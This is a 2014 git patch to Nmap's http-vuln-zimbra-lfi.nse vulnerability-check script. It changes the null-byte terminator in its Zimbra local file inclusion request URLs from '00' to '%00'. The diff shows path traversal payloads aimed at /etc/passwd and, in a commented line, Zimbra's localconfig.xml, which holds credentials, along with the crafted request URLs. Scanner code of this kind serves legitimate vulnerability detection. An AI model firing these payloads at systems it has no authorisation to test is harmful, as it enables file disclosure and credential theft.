From 7b43ab1ff6c6b7517c15504454acdd9836aa5207 Mon Sep 17 00:00:00 2001 From: sophron Date: Mon, 20 Jan 2014 14:44:45 +0000 Subject: [PATCH] [NSE] Symbol '%' missing in the urls. --- scripts/http-vuln-zimbra-lfi.nse | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/scripts/http-vuln-zimbra-lfi.nse b/scripts/http-vuln-zimbra-lfi.nse index 0eb2d2601..8a38964e8 100644 --- a/scripts/http-vuln-zimbra-lfi.nse +++ b/scripts/http-vuln-zimbra-lfi.nse @@ -87,8 +87,8 @@ This issue was patched in Zimbra 7.2.6. local file_long = "../../../../../../../../../etc/passwd" --local file_long = "../../../../../../../../../opt/zimbra/conf/localconfig.xml" - local url_short = "/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx20TemplateMsg.js.zgz?v=091214175450&skin=" .. file_short .. "00" - local url_long = "/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx20TemplateMsg.js.zgz?v=091214175450&skin=" .. file_long .. "00" + local url_short = "/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx20TemplateMsg.js.zgz?v=091214175450&skin=" .. file_short .. "%00" + local url_long = "/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx20TemplateMsg.js.zgz?v=091214175450&skin=" .. file_long .. "%00" stdnse.print_debug(1, "Trying to detect if the server is vulnerable") stdnse.print_debug(1, "GET " .. uri .. escape(url_short))